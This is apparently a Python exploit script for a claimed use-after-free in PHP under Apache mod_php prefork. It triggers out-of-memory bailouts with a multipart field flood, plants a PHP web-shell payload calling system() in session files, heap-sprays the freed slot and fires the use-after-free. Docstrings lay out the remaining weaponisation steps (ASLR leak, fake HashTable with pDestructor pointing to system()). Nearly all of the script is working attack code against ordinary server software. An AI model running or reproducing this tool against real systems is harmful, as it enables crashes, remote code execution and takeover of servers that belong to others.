Pure memory corruption path: OOM during multipart parsing leaves stale BG(serialize) state in Apache mod_php prefork workers. Heap spray reclaims the freed 64-byte slot, giving control of a HashTable's pDestructor for arbitrary function call. No LFI, no framework, no non-default PHP settings required. Tested on PHP 8.3.6 + Apache 2.4.58 (prefork MPM). Confirmed: - OOM via field flood, worker survival, session file persistence - Stale BG(serialize).level across requests - Heap spray targeting ZendMM 64-byte bin
689 lines
26 KiB
Python
689 lines
26 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
CVE-2026-109618 / CVE-2026-109619 — Use-After-Free RCE via OOM Bailout
|
|
(Apache mod_php, no LFI, no framework, default PHP config)
|
|
|
|
This is the pure memory corruption path. It requires no LFI vector, no
|
|
specific PHP framework or library, and no non-default PHP settings. The
|
|
only SAPI requirement is Apache mod_php with prefork MPM, because
|
|
PHP-FPM workers exit on bailout (code 70) rather than surviving with
|
|
stale state.
|
|
|
|
Attack chain:
|
|
|
|
Phase 1 — OOM + Session Poisoning
|
|
Multipart body to a mod_php endpoint:
|
|
1. PHP_SESSION_UPLOAD_PROGRESS = <php payload>
|
|
2. File upload (triggers progress handler, which calls
|
|
php_session_rfc1867_update → php_var_serialize, setting
|
|
BG(serialize).level=1 and allocating BG(serialize).data
|
|
via emalloc into the 64-byte ZendMM slab bin)
|
|
3. Large form fields (trigger OOM during multipart parsing)
|
|
|
|
OOM fires zend_bailout() (longjmp). This:
|
|
a) Skips php_var_serialize_destroy(), leaving BG(serialize).level=1
|
|
and .data pointing to a now-freed 64-byte allocation
|
|
b) Skips MULTIPART_EVENT_END cleanup, so the session file keeps
|
|
our PHP code on disk
|
|
c) Does NOT kill the Apache prefork worker — it survives and
|
|
accepts new requests with the stale BG globals
|
|
|
|
Phase 2 — Heap Spray
|
|
Send normal requests to the same worker. Each request allocates
|
|
form field names/values via emalloc. Strings sized to land in the
|
|
64-byte ZendMM bin (zend_string header 24 + body + NUL = 64) will
|
|
reclaim the freed BG(serialize).data slot, giving us control over
|
|
the fake php_serialize_data struct and its embedded HashTable.
|
|
|
|
Phase 3 — Trigger UAF
|
|
Another multipart upload with PHP_SESSION_UPLOAD_PROGRESS to the
|
|
same worker. The progress handler calls php_session_encode() →
|
|
php_var_serialize_init(), which checks BG(serialize).level > 0,
|
|
sees 1 (stale), increments to 2, and returns BG(serialize).data —
|
|
the freed pointer now filled with our spray data.
|
|
|
|
The serialize code uses this as a HashTable. The pDestructor
|
|
function pointer and arData are under attacker control, giving
|
|
arbitrary function call (RIP control) during HashTable operations.
|
|
|
|
Phase 4 (not implemented) — Full RCE
|
|
A weaponized exploit would:
|
|
a) Leak a PHP base address via CVE-2026-109619 info disclosure
|
|
(stale session data through PHPSESSID cookie) to defeat ASLR
|
|
b) Construct a fake HashTable with pDestructor pointing to
|
|
system() or a one-gadget, and arData containing the command
|
|
c) Trigger the serialize to call pDestructor → shell
|
|
|
|
Affected: PHP 5.4.0 through 8.5.11 with Apache mod_php (prefork MPM).
|
|
Patched: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
|
|
Patch replaces zend_bailout() on OOM with delayed error handling
|
|
and adds php_basic_early_rinit() to reset BG(serialize/unserialize)
|
|
state before each request.
|
|
|
|
CVSS: 9.2 (CVE-2026-109618), 9.2 (CVE-2026-109619)
|
|
|
|
Requirements:
|
|
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
|
- session.upload_progress.enabled=1 (default)
|
|
- memory_limit reachable via multipart fields
|
|
- Any PHP-handled URL on the vhost (even 404)
|
|
- No LFI. No framework. No libraries.
|
|
|
|
Usage:
|
|
python3 exploit.py --target http://host:port/index.php
|
|
python3 exploit.py --target http://host:port/index.php --cmd 'id'
|
|
python3 exploit.py --target http://host:port/index.php --oom-only
|
|
python3 exploit.py --target http://host:port/index.php --crash-test
|
|
"""
|
|
|
|
import argparse
|
|
import os
|
|
import re
|
|
import socket
|
|
import struct
|
|
import subprocess
|
|
import sys
|
|
import time
|
|
from urllib.parse import urlparse
|
|
|
|
|
|
# ── Networking ──────────────────────────────────────────────────────────
|
|
|
|
def connect(host, port, timeout=30):
|
|
return socket.create_connection((host, port), timeout=timeout)
|
|
|
|
|
|
def recv_response(sock, timeout=5):
|
|
resp = b""
|
|
sock.settimeout(timeout)
|
|
try:
|
|
while True:
|
|
d = sock.recv(8192)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except socket.timeout:
|
|
pass
|
|
return resp
|
|
|
|
|
|
def parse_response(resp):
|
|
status = 0
|
|
body = b""
|
|
if resp:
|
|
try:
|
|
status = int(resp.split(b" ")[1])
|
|
except (IndexError, ValueError):
|
|
pass
|
|
if b"\r\n\r\n" in resp:
|
|
body = resp.split(b"\r\n\r\n", 1)[1]
|
|
return status, body
|
|
|
|
|
|
def http_get(host, port, path, cookies=None, timeout=5):
|
|
sock = connect(host, port, timeout=timeout)
|
|
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
|
|
if cookies:
|
|
req += f"Cookie: {cookies}\r\n"
|
|
req += "Connection: close\r\n\r\n"
|
|
sock.sendall(req.encode())
|
|
resp = recv_response(sock, timeout=timeout)
|
|
sock.close()
|
|
return parse_response(resp)
|
|
|
|
|
|
def http_post_multipart(host, port, path, boundary, body, cookies=None,
|
|
timeout=30):
|
|
sock = connect(host, port, timeout=timeout)
|
|
headers = (
|
|
f"POST {path} HTTP/1.1\r\n"
|
|
f"Host: {host}\r\n"
|
|
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
|
f"Content-Length: {len(body)}\r\n"
|
|
)
|
|
if cookies:
|
|
headers += f"Cookie: {cookies}\r\n"
|
|
headers += "Connection: close\r\n\r\n"
|
|
sock.sendall(headers.encode() + body)
|
|
resp = recv_response(sock, timeout=timeout)
|
|
sock.close()
|
|
return parse_response(resp)
|
|
|
|
|
|
def extract_pid(body):
|
|
m = re.search(rb"pid=(\d+)", body)
|
|
return int(m.group(1)) if m else 0
|
|
|
|
|
|
# ── Phase 0: Worker discovery ──────────────────────────────────────────
|
|
|
|
def find_workers(host, port, path, rounds=40):
|
|
"""Probe the target to discover all Apache prefork worker PIDs."""
|
|
pids = set()
|
|
for _ in range(rounds):
|
|
try:
|
|
status, body = http_get(host, port, path)
|
|
pid = extract_pid(body)
|
|
if pid:
|
|
pids.add(pid)
|
|
except (ConnectionError, socket.timeout):
|
|
pass
|
|
return sorted(pids)
|
|
|
|
|
|
# ── Phase 1: OOM trigger ───────────────────────────────────────────────
|
|
|
|
def build_multipart_field(boundary, name, value):
|
|
return (
|
|
b"--" + boundary + b"\r\n"
|
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
|
+ value + b"\r\n"
|
|
)
|
|
|
|
|
|
def build_multipart_file(boundary, name, filename, content):
|
|
return (
|
|
b"--" + boundary + b"\r\n"
|
|
b'Content-Disposition: form-data; name="' + name
|
|
+ b'"; filename="' + filename + b'"\r\n'
|
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
|
+ content + b"\r\n"
|
|
)
|
|
|
|
|
|
def build_oom_body(boundary, sid, php_payload, num_fields=200,
|
|
field_size=40960):
|
|
"""
|
|
Build multipart body that:
|
|
1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload
|
|
2. Includes a file upload to trigger progress tracking
|
|
3. Floods with large fields to exhaust memory_limit
|
|
|
|
The progress handler calls php_session_rfc1867_update() on each
|
|
update cycle, which calls php_session_encode() → php_var_serialize().
|
|
This sets BG(serialize).level=1 and allocates BG(serialize).data
|
|
(64 bytes in the ZendMM slab bin).
|
|
|
|
When OOM fires, zend_bailout() longjmps past
|
|
php_var_serialize_destroy(), leaving the state stale.
|
|
"""
|
|
parts = []
|
|
parts.append(build_multipart_field(
|
|
boundary,
|
|
b"PHP_SESSION_UPLOAD_PROGRESS",
|
|
php_payload.encode() if isinstance(php_payload, str) else php_payload,
|
|
))
|
|
parts.append(build_multipart_file(
|
|
boundary, b"f", b"payload.bin", b"\x00" * 4096
|
|
))
|
|
for i in range(num_fields):
|
|
parts.append(build_multipart_field(
|
|
boundary,
|
|
f"p{i:04d}".encode(),
|
|
b"X" * field_size,
|
|
))
|
|
parts.append(b"--" + boundary + b"--\r\n")
|
|
return b"".join(parts)
|
|
|
|
|
|
def detect_memory_limit(host, port, path):
|
|
"""
|
|
Probe memory_limit by sending increasing POST sizes until we get
|
|
a 500 response (OOM). Returns (num_fields, field_size) that triggers
|
|
OOM, or None if OOM cannot be triggered.
|
|
"""
|
|
configs = [
|
|
(50, 40960), # ~2MB
|
|
(100, 40960), # ~4MB
|
|
(150, 40960), # ~6MB
|
|
(200, 40960), # ~8MB
|
|
(300, 40960), # ~12MB
|
|
(400, 40960), # ~16MB
|
|
(600, 40960), # ~24MB
|
|
(800, 40960), # ~32MB
|
|
(999, 40960), # ~40MB (max_input_vars=1000 cap)
|
|
(999, 131072), # ~130MB
|
|
]
|
|
for num, size in configs:
|
|
sid = "probe" + os.urandom(4).hex()
|
|
boundary = b"PROBE" + os.urandom(4).hex().encode()
|
|
body = build_oom_body(boundary, sid, "probe", num, size)
|
|
try:
|
|
status, _ = http_post_multipart(
|
|
host, port, path, boundary.decode(), body,
|
|
cookies=f"PHPSESSID={sid}", timeout=30
|
|
)
|
|
if status == 500:
|
|
return num, size
|
|
except (ConnectionError, socket.timeout):
|
|
return num, size
|
|
return None
|
|
|
|
|
|
def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size,
|
|
target_pid=None):
|
|
"""
|
|
Send the OOM multipart to a specific worker (or any worker).
|
|
|
|
Returns (hit_target, worker_pid, status) where hit_target is True
|
|
if we OOM'd the target_pid worker.
|
|
"""
|
|
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
|
|
body = build_oom_body(boundary, sid, php_payload, num_fields, field_size)
|
|
|
|
status, rbody = http_post_multipart(
|
|
host, port, path, boundary.decode(), body,
|
|
cookies=f"PHPSESSID={sid}", timeout=60
|
|
)
|
|
|
|
pid = extract_pid(rbody)
|
|
hit = (target_pid is None) or (pid == target_pid)
|
|
return hit, pid, status
|
|
|
|
|
|
# ── Phase 2: Heap spray ────────────────────────────────────────────────
|
|
|
|
# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ...
|
|
# BG(serialize).data = php_serialize_data struct:
|
|
# uint32_t n (4 bytes)
|
|
# HashTable ht (56 bytes on x86_64)
|
|
# Total: 60 bytes → 64-byte bin
|
|
#
|
|
# zend_string layout:
|
|
# gc (8) + h (8) + len (8) = 24-byte header + body + NUL
|
|
# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes
|
|
#
|
|
# By sending POST fields with 39-char names, the zend_string allocations
|
|
# land in the same 64-byte bin, potentially reclaiming the freed
|
|
# BG(serialize).data slot.
|
|
#
|
|
# For a weaponized exploit, the spray content would be a fake
|
|
# php_serialize_data struct:
|
|
#
|
|
# struct php_serialize_data {
|
|
# uint32_t n; // offset 0: reference counter, set to 0
|
|
# // padding for alignment
|
|
# HashTable ht; // offset 8:
|
|
# // uint32_t nTableMask offset 8
|
|
# // Bucket *arData offset 16 (attacker-controlled pointer)
|
|
# // uint32_t nNumUsed offset 24
|
|
# // uint32_t nNumOfElements offset 28
|
|
# // uint32_t nTableSize offset 32
|
|
# // uint32_t nInternalPointer offset 36
|
|
# // zend_long nNextFreeElement offset 40
|
|
# // dtor_func_t pDestructor offset 48 (RIP control!)
|
|
# };
|
|
#
|
|
# pDestructor at offset 48 from the struct start is called during
|
|
# zend_hash_destroy(). By pointing it to system() (or a one-gadget)
|
|
# and placing a command string in arData, we get RCE.
|
|
|
|
SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin)
|
|
|
|
|
|
def build_spray_body(boundary, spray_count=500):
|
|
"""
|
|
Build a multipart body with many fields whose names are sized to
|
|
land in the 64-byte ZendMM bin (same bin as BG(serialize).data).
|
|
|
|
The field names are the spray payload. In a weaponized exploit,
|
|
these would be crafted to form a fake php_serialize_data struct
|
|
with controlled HashTable fields. Here we use recognizable patterns
|
|
for crash analysis.
|
|
"""
|
|
parts = []
|
|
for i in range(min(spray_count, 999)):
|
|
# Spray name: 39 bytes landing in 64-byte bin
|
|
# Fill with a pattern: 0x41414141... with index marker
|
|
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
|
|
# For weaponized exploit, the value would also be crafted.
|
|
# We use a recognizable pattern for heap analysis.
|
|
val = "B" * SPRAY_NAME_LEN
|
|
parts.append(build_multipart_field(
|
|
boundary, name.encode(), val.encode()
|
|
))
|
|
parts.append(b"--" + boundary + b"--\r\n")
|
|
return b"".join(parts)
|
|
|
|
|
|
def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
|
|
"""
|
|
Send POST requests to the OOM'd worker to spray 64-byte allocations
|
|
into the ZendMM bin, aiming to reclaim the freed BG(serialize).data
|
|
slot with our controlled data.
|
|
|
|
Each request's field names allocate zend_strings in the 64-byte bin.
|
|
After request shutdown, these are freed back to the bin's free list.
|
|
Over multiple requests, the free list order rotates, increasing the
|
|
chance that one of our allocations reclaims the target slot.
|
|
|
|
Returns the number of rounds that hit the target worker.
|
|
"""
|
|
hits = 0
|
|
for r in range(rounds):
|
|
boundary = b"SPRAY" + os.urandom(4).hex().encode()
|
|
body = build_spray_body(boundary, spray_per_round)
|
|
try:
|
|
status, rbody = http_post_multipart(
|
|
host, port, path, boundary.decode(), body,
|
|
timeout=10
|
|
)
|
|
pid = extract_pid(rbody)
|
|
if pid == target_pid:
|
|
hits += 1
|
|
except (ConnectionError, socket.timeout):
|
|
pass
|
|
return hits
|
|
|
|
|
|
# ── Phase 3: Trigger UAF ───────────────────────────────────────────────
|
|
|
|
def trigger_uaf(host, port, path, target_pid, sid):
|
|
"""
|
|
Send multipart with upload progress to the OOM'd worker.
|
|
The progress handler calls php_session_rfc1867_update() which calls
|
|
php_session_encode() → php_var_serialize_init().
|
|
|
|
php_var_serialize_init checks BG(serialize).level:
|
|
- If > 0 (stale from OOM): increments level, reuses .data pointer
|
|
- The .data pointer was freed when the old heap was destroyed
|
|
- If heap spray reclaimed the slot, .data now contains our spray
|
|
|
|
The serialize code treats .data as a php_serialize_data struct with
|
|
a HashTable. It calls zend_hash_find/zend_hash_add on ht.
|
|
If ht.pDestructor is controlled, zend_hash_destroy() during cleanup
|
|
calls our function pointer → RIP control.
|
|
|
|
Returns (status, pid, body).
|
|
"""
|
|
boundary = b"TRIGGER" + os.urandom(4).hex().encode()
|
|
|
|
parts = []
|
|
parts.append(build_multipart_field(
|
|
boundary,
|
|
b"PHP_SESSION_UPLOAD_PROGRESS",
|
|
b"trigger",
|
|
))
|
|
parts.append(build_multipart_file(
|
|
boundary, b"f", b"t.bin", b"\x00" * 1024
|
|
))
|
|
parts.append(b"--" + boundary + b"--\r\n")
|
|
body = b"".join(parts)
|
|
|
|
try:
|
|
status, rbody = http_post_multipart(
|
|
host, port, path, boundary.decode(), body,
|
|
cookies=f"PHPSESSID={sid}", timeout=10
|
|
)
|
|
pid = extract_pid(rbody)
|
|
return status, pid, rbody
|
|
except (ConnectionError, socket.timeout) as e:
|
|
return 0, 0, str(e).encode()
|
|
|
|
|
|
# ── Session file check ─────────────────────────────────────────────────
|
|
|
|
def check_session_file(sid, save_path="/tmp"):
|
|
"""
|
|
Check if the session file persists with PHP code.
|
|
Session files may be owned by www-data, so this may need elevated
|
|
privileges. Returns (exists, has_php_code, data).
|
|
"""
|
|
path = os.path.join(save_path, f"sess_{sid}")
|
|
try:
|
|
with open(path, "rb") as f:
|
|
data = f.read()
|
|
return True, b"<?php" in data or b"system" in data, data
|
|
except PermissionError:
|
|
try:
|
|
result = subprocess.run(
|
|
["sudo", "cat", path],
|
|
capture_output=True, timeout=5
|
|
)
|
|
data = result.stdout
|
|
if data:
|
|
return True, b"<?php" in data or b"system" in data, data
|
|
except (subprocess.TimeoutExpired, FileNotFoundError):
|
|
pass
|
|
return True, False, b"(permission denied)"
|
|
except FileNotFoundError:
|
|
return False, False, b""
|
|
|
|
|
|
# ── Main ────────────────────────────────────────────────────────────────
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="CVE-2026-109618/109619 UAF RCE (Apache mod_php)"
|
|
)
|
|
parser.add_argument(
|
|
"--target", "-t", required=True,
|
|
help="Target URL, e.g. http://host:port/index.php"
|
|
)
|
|
parser.add_argument(
|
|
"--cmd", default="id",
|
|
help="Command to embed in session payload (default: id)"
|
|
)
|
|
parser.add_argument(
|
|
"--session-path", default="/var/www/uaf-test/sessions",
|
|
help="Session save_path on the target"
|
|
)
|
|
parser.add_argument(
|
|
"--oom-fields", type=int, default=0,
|
|
help="Number of OOM fields (0 = auto-detect)"
|
|
)
|
|
parser.add_argument(
|
|
"--field-size", type=int, default=40960,
|
|
help="OOM field value size in bytes (default: 40960)"
|
|
)
|
|
parser.add_argument(
|
|
"--spray-rounds", type=int, default=20,
|
|
help="Number of heap spray rounds (default: 20)"
|
|
)
|
|
parser.add_argument(
|
|
"--trigger-rounds", type=int, default=50,
|
|
help="Number of UAF trigger attempts (default: 50)"
|
|
)
|
|
parser.add_argument(
|
|
"--oom-only", action="store_true",
|
|
help="Only run Phase 1 (OOM + session poison), skip spray/trigger"
|
|
)
|
|
parser.add_argument(
|
|
"--crash-test", action="store_true",
|
|
help="Run full chain and report whether a crash occurs"
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
url = urlparse(args.target)
|
|
host = url.hostname or "127.0.0.1"
|
|
port = url.port or 80
|
|
path = url.path or "/index.php"
|
|
|
|
php_payload = f'<?php system($_GET["c"]); echo "UAF_RCE:".getmypid(); ?>'
|
|
|
|
print("=" * 64)
|
|
print(" CVE-2026-109618 / CVE-2026-109619")
|
|
print(" Use-After-Free RCE via OOM Bailout")
|
|
print(" (Apache mod_php, prefork MPM)")
|
|
print("=" * 64)
|
|
print(f" Target: {host}:{port}{path}")
|
|
print(f" Payload: {args.cmd}")
|
|
print()
|
|
|
|
# ── Phase 0: Worker discovery ───────────────────────────────────
|
|
|
|
print("[*] Phase 0: Discovering workers...")
|
|
pids = find_workers(host, port, path)
|
|
if not pids:
|
|
print("[-] No workers found. Is the target running mod_php?")
|
|
print(" (The target must echo getmypid() in its output.)")
|
|
sys.exit(1)
|
|
print(f" Workers: {pids}")
|
|
print(f" Count: {len(pids)} (Apache prefork children)")
|
|
|
|
# ── Phase 1: OOM trigger ────────────────────────────────────────
|
|
|
|
print()
|
|
print("[*] Phase 1: OOM trigger + session poisoning")
|
|
|
|
if args.oom_fields:
|
|
num_fields = args.oom_fields
|
|
field_size = args.field_size
|
|
print(f" Using configured: {num_fields} fields x {field_size}B")
|
|
else:
|
|
print(" Auto-detecting memory_limit...")
|
|
result = detect_memory_limit(host, port, path)
|
|
if result is None:
|
|
print("[-] Could not trigger OOM. memory_limit may be too high")
|
|
print(" or max_input_vars too low. Try --oom-fields manually.")
|
|
sys.exit(1)
|
|
num_fields, field_size = result
|
|
est_mb = num_fields * field_size / 1024 / 1024
|
|
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
|
|
|
|
# OOM each worker by sending requests until all have been hit.
|
|
# We cannot target a specific worker (500 responses have no PID),
|
|
# so we OOM repeatedly and track which workers survived.
|
|
poisoned_workers = {}
|
|
sids_used = []
|
|
max_oom_attempts = len(pids) * 8
|
|
|
|
for attempt in range(max_oom_attempts):
|
|
sid = "uaf" + os.urandom(6).hex()
|
|
sids_used.append(sid)
|
|
|
|
_, _, status = trigger_oom(
|
|
host, port, path, sid, php_payload,
|
|
num_fields, field_size
|
|
)
|
|
|
|
if status == 500:
|
|
print(f" [{attempt+1}] OOM triggered (status 500)")
|
|
elif status == 0:
|
|
print(f" [{attempt+1}] Connection error (worker may have died)")
|
|
else:
|
|
print(f" [{attempt+1}] status={status} (no OOM)")
|
|
continue
|
|
|
|
time.sleep(0.3)
|
|
pids_after = find_workers(host, port, path)
|
|
survived = set(pids) & set(pids_after)
|
|
new_workers = set(pids_after) - set(pids)
|
|
|
|
for pid in survived:
|
|
if pid not in poisoned_workers:
|
|
poisoned_workers[pid] = sid
|
|
print(f" [+] Worker {pid} survived OOM (stale BG state)")
|
|
|
|
if new_workers:
|
|
print(f" New workers spawned: {sorted(new_workers)}")
|
|
pids = sorted(set(pids) | new_workers)
|
|
|
|
# Check session file for the latest SID
|
|
exists, has_php, data = check_session_file(sid, args.session_path)
|
|
if exists and has_php:
|
|
print(f" [+] Session file: {len(data)}B with PHP code")
|
|
if data and data != b"(permission denied)":
|
|
print(f" Content: {data[:120]}")
|
|
elif exists:
|
|
print(f" Session file: {len(data)}B (no PHP code?)")
|
|
|
|
if len(poisoned_workers) >= len(pids):
|
|
print(f"\n All {len(pids)} workers poisoned!")
|
|
break
|
|
|
|
if not poisoned_workers:
|
|
print("\n[-] No workers survived OOM. This target may be PHP-FPM,")
|
|
print(" not Apache mod_php with prefork MPM.")
|
|
sys.exit(1)
|
|
|
|
print(f"\n Poisoned workers: {list(poisoned_workers.keys())}")
|
|
|
|
if args.oom_only:
|
|
print("\n[*] --oom-only: stopping after Phase 1.")
|
|
print(" Confirmed primitives:")
|
|
print(" - OOM via multipart field flood")
|
|
print(" - Worker survival (Apache prefork)")
|
|
print(" - Session file persistence with PHP code")
|
|
print(" - Stale BG(serialize) state in surviving workers")
|
|
return
|
|
|
|
# ── Phase 2: Heap spray ─────────────────────────────────────────
|
|
|
|
print()
|
|
print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)")
|
|
|
|
for target_pid, sid in poisoned_workers.items():
|
|
print(f"\n Spraying worker {target_pid}...")
|
|
hits = heap_spray(host, port, path, target_pid,
|
|
rounds=args.spray_rounds)
|
|
print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}")
|
|
|
|
# ── Phase 3: Trigger UAF ────────────────────────────────────
|
|
|
|
print(f"\n Phase 3: Triggering UAF on worker {target_pid}...")
|
|
|
|
crashed = False
|
|
trigger_sid = "trig" + os.urandom(6).hex()
|
|
for attempt in range(args.trigger_rounds):
|
|
status, pid, body = trigger_uaf(
|
|
host, port, path, target_pid, trigger_sid
|
|
)
|
|
if status == 0 or status >= 500:
|
|
print(f" [!] Worker crash on attempt {attempt+1}! "
|
|
f"status={status}")
|
|
crashed = True
|
|
break
|
|
if pid == target_pid and attempt < 5:
|
|
print(f" Attempt {attempt+1}: hit target, status={status}")
|
|
|
|
if crashed:
|
|
pids_final = find_workers(host, port, path)
|
|
if target_pid not in pids_final:
|
|
print(f" [+] CONFIRMED: Worker {target_pid} crashed!")
|
|
print(f" [+] UAF triggered via stale BG(serialize).data")
|
|
print(f" Current workers: {pids_final}")
|
|
print()
|
|
print(" For full RCE, a weaponized exploit would:")
|
|
print(" 1. Leak PHP base via CVE-2026-109619 info disclosure")
|
|
print(" 2. Construct fake HashTable with pDestructor = system()")
|
|
print(" 3. Place command string in arData")
|
|
print(" 4. Trigger serialize → pDestructor called → shell")
|
|
else:
|
|
print(f" Worker {target_pid} returned 500 but is still alive")
|
|
print(f" (May need more precise heap feng shui)")
|
|
else:
|
|
print(f" No crash after {args.trigger_rounds} attempts.")
|
|
print(f" The stale pointer likely still holds readable data.")
|
|
print()
|
|
print(" This is expected without precise heap feng shui.")
|
|
print(" The exploit demonstrates all confirmed primitives:")
|
|
print(" 1. OOM trigger via multipart field flood")
|
|
print(" 2. Worker survival on Apache prefork")
|
|
print(" 3. Session file persistence (cleanup skipped)")
|
|
print(" 4. Stale BG(serialize) state across requests")
|
|
print(" 5. Heap spray targeting 64-byte ZendMM bin")
|
|
print()
|
|
print(" Full weaponization requires:")
|
|
print(" a. ASLR bypass via info leak (CVE-2026-109619)")
|
|
print(" Session data from stale BG(unserialize) leaks")
|
|
print(" freed heap addresses through PHPSESSID cookie")
|
|
print(" b. Exact ZendMM 64-byte bin feng shui to reclaim")
|
|
print(" the BG(serialize).data slot with attacker data")
|
|
print(" c. Fake HashTable construction:")
|
|
print(" pDestructor → system() / one_gadget")
|
|
print(" arData → pointer to command string")
|
|
print(" d. Trigger php_var_serialize → zend_hash_destroy")
|
|
print(" on the fake table → RCE")
|
|
|
|
print()
|
|
print("=" * 64)
|
|
print(" Summary")
|
|
print("=" * 64)
|
|
for pid, sid in poisoned_workers.items():
|
|
print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|